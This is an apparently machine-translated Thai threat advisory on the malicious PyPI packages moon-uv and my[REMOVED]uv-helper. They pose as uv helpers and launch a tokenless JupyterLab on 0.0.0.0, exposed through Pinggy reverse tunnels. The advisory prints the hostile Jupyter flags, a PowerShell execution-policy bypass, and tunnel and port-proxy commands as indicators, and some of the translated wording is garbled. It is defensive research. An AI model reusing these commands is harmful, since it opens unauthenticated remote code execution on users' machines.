TL; DR
กลุ่มแพ็กเกจ PyPI กลุ่มหนึ่งได้ยืมชื่อของ uvใช้ Rust ซึ่งเป็นตัวจัดการแพ็กเกจ Python ที่รวดเร็วและได้รับความนิยมอย่างมาก เพื่อแสร้งทำเป็นตัวช่วย uv พวกมันแทบไม่มีฟังก์ชันการทำงานจริง ๆ สิ่งที่พวกมันนำมาด้วยคือเพย์โหลดสำหรับ Windows ที่ติดตั้ง... เซิร์ฟเวอร์ JupyterLab ที่ปิดใช้งานการตรวจสอบสิทธิ์ และในเวอร์ชันต่อมา จะเผยแพร่สู่สาธารณะทางอินเทอร์เน็ตผ่านทางอุโมงค์ย้อนกลับ
นั่นคือเรื่องราวทั้งหมดในประโยคเดียว: ใช้ชื่อของเครื่องมือที่น่าเชื่อถือเป็นเหยื่อล่อ และใช้ JupyterLab เป็นเครื่องมือสำหรับการเรียกใช้โค้ดจากระยะไกล เซิร์ฟเวอร์ Jupyter จะรันโค้ดใดๆ ก็ตามที่คุณพิมพ์ลงในช่องป้อนข้อมูลebook เซลล์ที่เปิดใช้งานด้วยโทเค็นว่างเปล่าและผูกกับอินเทอร์เฟซเครือข่ายทุกตัวนั้น เป็นตัวแปลภาษาแบบเปิดที่ใครก็ตามที่สามารถเข้าถึงพอร์ตได้ก็สามารถใช้งานได้
เราติดตามคลัสเตอร์ดังนี้ เอฟเฟคยูวีพัสดุทั้งสองชิ้นที่ตรวจสอบมีดังนี้ moon-uv (0.0.1 – 0.0.16) และ my-magic-uv-helper (0.0.1) เผยแพร่โดยผู้ดำเนินการรายเดียวกันและใช้งานได้บน PyPI ณ เวลาที่ทำการวิเคราะห์
| ระบบนิเวศ (Ecosystem) | PyPI |
| แบบรวดเร็ว | moon-uv (0.0.1-0.0.16) my-magic-uv-helper (0.0.1) |
| แพลตฟอร์มเป้าหมาย | Windows |
| พฤติกรรมหลัก | เซิร์ฟเวอร์ JupyterLab ที่ไม่ต้องยืนยันตัวตน เผยแพร่สู่อินเทอร์เน็ตผ่านอุโมงค์ย้อนกลับ |
| เครื่องมือที่ถูกต้องถูกนำไปใช้ในทางที่ผิด | uv, JupyterLab, cloudflared, Pinggy |
สิ่งดึงดูดใจ: ชื่อที่คุณไว้วางใจอยู่แล้ว
uv เป็นหนึ่งในเครื่องมือ Python ที่มีการติดตั้งมากที่สุดในช่วงสองปีที่ผ่านมา ดังนั้น “ตัวช่วยสำหรับ” uv“เป็นแพ็กเกจที่นักพัฒนาติดตั้งโดยไม่ต้องคิดอะไรมาก FauxUV อาศัยความน่าเชื่อถือจากชื่อนั้นเพียงอย่างเดียว แพ็กเกจเหล่านี้ห่อหุ้ม... แท้ uv โปรแกรมติดตั้งจาก Astral — URL ในไฟล์แนบชี้ไปยังโฮสต์จริงที่น่าเชื่อถือ — ดังนั้นเมื่อดูอย่างรวดเร็วจะเห็นแต่ข้อมูลอ้างอิงที่น่าเชื่อถือเท่านั้น ไม่มีแพ็กเกจใดเพิ่มอะไรลงไปจริง ๆ uv ฟังก์ชันการทำงาน ชื่อนี้เป็นเพียงการปลอมแปลงทั้งหมด
JupyterLab ในฐานะเครื่องมือ RCE
หัวใจหลักของแพ็กเกจนี้คือตัวเรียกใช้งานที่จะเริ่มต้น JupyterLab โดยลบข้อจำกัดต่างๆ ออกไปทั้งหมด:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it ธงแต่ละอันจะลบการป้องกันออกไปหนึ่งอย่าง และสคริปต์ที่ส่งมายังมีการอธิบายเพิ่มเติม (ในภาษาจีนดั้งเดิม): โทเค็นว่างเปล่า “ปิดการตรวจสอบรหัสผ่านและโทเค็น ทำให้ใครๆ ก็สามารถเชื่อมต่อได้” จูปิเตอร์แล็บ เป็น IDE สำหรับวิทยาศาสตร์ข้อมูลที่ถูกต้องตามกฎหมาย แต่ไม่ใช่ebook เซลล์นี้ถูกออกแบบมาให้รันโค้ดตามอำเภอใจ ตั้งค่าและผูกไว้แบบนี้ 0.0.0.0มันจะหยุดเป็น IDE และกลายเป็นเชลล์ระยะไกลที่ไม่ต้องตรวจสอบสิทธิ์บนโฮสต์ — ไม่จำเป็นต้องใช้ไบนารีมัลแวร์แบบกำหนดเอง เพียงแค่ใช้เครื่องมือหลักที่ชี้ไปในทิศทางที่ผิด
องค์ประกอบสนับสนุนสองประการทำให้สิ่งนี้สามารถทำได้และทำซ้ำได้:
- ตัวกระตุ้นการติดตั้งแบบเงียบๆ เวอร์ชันแรกๆ ใช้ PowerShell กับ -ExecutionPolicy Bypass ส่งตรงจาก setup.py on pip ติดตั้งในพื้นหลังที่มีการระงับข้อผิดพลาดไว้ จุดเล็ก ๆ ดูปกติ เวอร์ชันต่อมาได้ย้ายองค์ประกอบพื้นฐานเดียวกันนั้นไปไว้ใน pip-uv ใช้เครื่องมือบรรทัดคำสั่ง — และยกเลิกการเรียกใช้งานอัตโนมัติในระหว่างการติดตั้งโดยสิ้นเชิง
- อุโมงค์ย้อนกลับสาธารณะ เซิร์ฟเวอร์บน 0.0.0.0 ยังคงสามารถเข้าถึงได้โดยโฮสต์ที่สามารถกำหนดเส้นทางไปยังเครื่องได้ โมดูลที่รวมมาจะเปิด [Pinggy](https://pinggy.io/) อุโมงค์ SSH ย้อนกลับที่ส่งต่อพอร์ต Jupyter ในเครื่องไปยังที่อยู่สาธารณะ ซึ่งช่วยขจัดข้อจำกัดนั้น สคริปต์ที่ให้มายังมีเส้นทางทางเลือกอีกเส้นทางหนึ่งที่ใช้ Cloudflare (แต่ถูกคอมเมนต์ไว้) เมฆแฟลร์ และ netsh การใช้ port-proxy เพื่อส่งต่อไปยัง IP ของ Linode เป็นการแสดงให้เห็นถึงเป้าหมายเดียวกันผ่านโครงสร้างพื้นฐานที่แตกต่างกัน
กล่าวโดยสรุป: เมื่อติดตั้งแพ็กเกจแล้ว ระบบ Windows ก็จะสามารถใช้งาน JupyterLab โดยไม่ต้องใช้รหัสผ่าน และเผยแพร่สู่สาธารณะทางอินเทอร์เน็ตได้
วิวัฒนาการของ FauxUV
เวอร์ชันต่างๆ ของ FauxUV ถูกจัดส่งออกมาอย่างรวดเร็ว และจุดเริ่มต้นของการแจ้งเตือนก็เปลี่ยนไปตามแต่ละเวอร์ชัน ซึ่งเป็นการย้ำเตือนว่าเวอร์ชันที่ถูกแจ้งเตือนเพียงเวอร์ชันเดียวนั้นไม่สามารถบอกเรื่องราวทั้งหมดของสายการผลิตบรรจุภัณฑ์ได้
| ระยะ | รุ่น | ทริกเกอร์ | สิ่งที่มันเพิ่ม |
|---|---|---|---|
| ตะขอติดตั้ง | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py ติดตั้งด้วย pip | ติดตั้ง uv + เพิ่ม PATH |
| รันไทม์ CLI | moon-uv 0.0.5 0.0.13- | pip-uv คำสั่ง | ตัวเรียกใช้งาน JupyterLab แบบไม่ต้องใช้รหัสผ่าน |
| อุโมงค์ | moon-uv 0.0.14 0.0.16- | pip-uv คำสั่ง | อุโมงค์ย้อนกลับ Pinggy ที่ใช้งานอยู่ |
ที่น่าสังเกตคือ การเรียกใช้งานอัตโนมัติระหว่างการติดตั้งนั้น ลบออก ในเวอร์ชันที่ใหม่กว่าและมีประสิทธิภาพมากกว่า — ดังนั้นเครื่องสแกนจึงทำงานโดยคำนึงถึงวงจรชีวิตเป็นหลัก hooks จะให้คะแนนผลงานที่ออกใหม่ดังนี้ น้อยลง เสี่ยงมาก ผิดวิธีอย่างสิ้นเชิง
ตัวชี้วัดของการประนีประนอม
ยืนยันโดยการอ่านซอร์สโค้ดของแพ็กเกจแล้ว; ทำเครื่องหมายเอนด์พอยต์ไว้แล้ว แสดงความคิดเห็น มีอยู่ในไฟล์แต่ไม่ได้ถูกเรียกใช้งานโดยเวอร์ชันที่วิเคราะห์ ตัวบ่งชี้เครือข่ายถูกปิดใช้งาน
| ประเภท | ตัวบ่งชี้ |
|---|---|
| คำสั่งติดตั้ง | powershell -ExecutionPolicy Bypass ดึงตัวติดตั้ง uv ของแท้ ในระหว่างการติดตั้ง pip |
| ธง JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| อุโมงค์ย้อนกลับ (ใช้งานอยู่) | free[.]pinggy[.]io:443 การส่งต่อในท้องถิ่น 127.0.0.1:8888 |
| โฮสต์อุโมงค์ (แสดงความคิดเห็น) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (มีคำอธิบาย) | 45[.]79[.]134[.]161 (Linode) ผ่านทาง netsh port-proxy |
| การติดตา | เติมหน้า %USERPROFILE%\.local\bin ไปยัง PATH ของผู้ใช้ |
สัญญาณพฤติกรรมที่ควรให้ความสนใจ โดยไม่ขึ้นอยู่กับข้อความเหล่านี้โดยเฉพาะ: ก. pip ติดตั้ง ที่ก่อให้เกิด powershell -ExecutionPolicy Bypass; ใด ๆ จูปิเตอร์ เปิดตัวแบบผสมผสาน โทเค็น=”” สีสดสวย –ip=0.0.0.0และส่งออก SSH ไปยัง *.pinggy.io จากนักพัฒนาหรือเครื่อง CI
พฤติกรรมที่สังเกตได้และที่มา
แพ็กเกจทั้งสองมีผู้เขียนและวิธีการเดียวกัน ได้แก่ การใช้ชื่อเครื่องมือที่น่าเชื่อถือ การจำกัดการเข้าถึงเฉพาะระบบ Windows การทำงานเบื้องหลังโดยไม่แสดงข้อผิดพลาด และการพึ่งพาเครื่องมือที่มีชื่อเสียง ดังนั้นเมื่อดูอย่างรวดเร็วจะเห็นเฉพาะ URL ที่น่าเชื่อถือเท่านั้น ซอร์สโค้ดมีคำอธิบายเป็นภาษาจีนที่อธิบายถึงแฟล็กที่เกี่ยวข้องกับความปลอดภัยอย่างชัดเจน เราจึงรายงานสิ่งเหล่านั้นในฐานะข้อความที่สังเกตได้ในไฟล์ ไม่ใช่การกล่าวอ้างเกี่ยวกับแรงจูงใจ อนุญาตต้นกำเนิด คุณค่าและ โคแล็บแบต ชื่อไฟล์สะท้อนถึงเวิร์กโฟลว์แบบไม่เป็นทางการ "แชร์รันไทม์ในเครื่องของฉัน" ที่แพร่หลายใน Google Colab ไม่ว่าจะมีที่มาอย่างไร ผลลัพธ์ที่ได้ก็เหมือนกัน
ผลกระทบและคำแนะนำสำหรับผู้พิทักษ์
ใครบ้างที่ได้รับผลกระทบจากรังสี UV เทียม? นักพัฒนา Windows และผู้รัน CI ที่ pip ติดตั้ง หนึ่งในแพ็กเกจเหล่านี้ JupyterLab ที่ไม่ต้องใช้รหัสผ่านบน 0.0.0.0 การเรียกใช้โค้ดจากระยะไกลนั้นสามารถทำได้โดยใครก็ตามที่สามารถเข้าถึงพอร์ตได้ แต่การใช้ท่อส่งข้อมูลจะช่วยขจัดข้อจำกัดเรื่อง "ใครสามารถเข้าถึงได้" เซิร์ฟเวอร์จะทำงานในฐานะผู้ใช้ที่ทำการติดตั้ง โดยจะสืบทอดไฟล์ โทเค็น และข้อมูลรับรองระบบคลาวด์จากผู้ใช้นั้น
ทำไมจึงมองข้ามได้ง่าย ทุกสตริงเครือข่ายชี้ไปยังโฮสต์ที่น่าเชื่อถือ เช่น Astral, JupyterLab เมฆแฟลร์Pinggy, Colab ไม่มีไบนารีมัลแวร์ให้แฮช และไม่มีบล็อบที่ถูกเข้ารหัสให้ถอดรหัส การสแกนตามชื่อเสียงและตามลายเซ็นต่างก็ให้น้ำหนักกับสิ่งนี้น้อยเกินไป ซึ่งเป็นเหตุผลว่าทำไมคำถามเกี่ยวกับพฤติกรรมจึง — การติดตั้งแพ็กเกจนี้จะทำให้เครื่องทำงานอย่างไร — คือคนที่จับมันได้
คำแนะนำ:
- จัดการเวลาในการติดตั้งใดๆ powershell -ExecutionPolicy Bypass ถือเป็นสัญญาณที่ทำให้การสร้างโปรแกรมล้มเหลว ไม่ว่า URL นั้นจะดึงข้อมูลมาจากที่ใดก็ตาม
- แจ้งเตือนเมื่อ จูปิเตอร์ เปิดใช้งานด้วยโทเค็นว่างเปล่าและ –ip=0.0.0.0; ไม่ควรมีการใช้งานชุดคำสั่งดังกล่าวบนเวิร์กสเตชันหรือเครื่องรันเนอร์เลย
- ตรวจสอบการส่งออก SSH ไปยังผู้ให้บริการอุโมงค์ (*.pinggy.io, *.trycloudflare.com) จากสภาพแวดล้อมการพัฒนาและ CI
- การติดตั้ง uv จาก [แหล่งข้อมูลอย่างเป็นทางการ](https://docs.astral.sh/uv/และควรระมัดระวังแพ็กเกจ "ตัวช่วย" จากภายนอกที่นำเครื่องมือที่ติดตั้งได้ง่ายอยู่แล้วมาครอบทับไว้
- กำหนดและตรวจสอบความสัมพันธ์ระหว่างการอัปเกรดอีกครั้ง — แพ็กเกจหนึ่งๆ สามารถเพิ่มความสามารถใหม่ๆ ได้ในแต่ละเวอร์ชัน



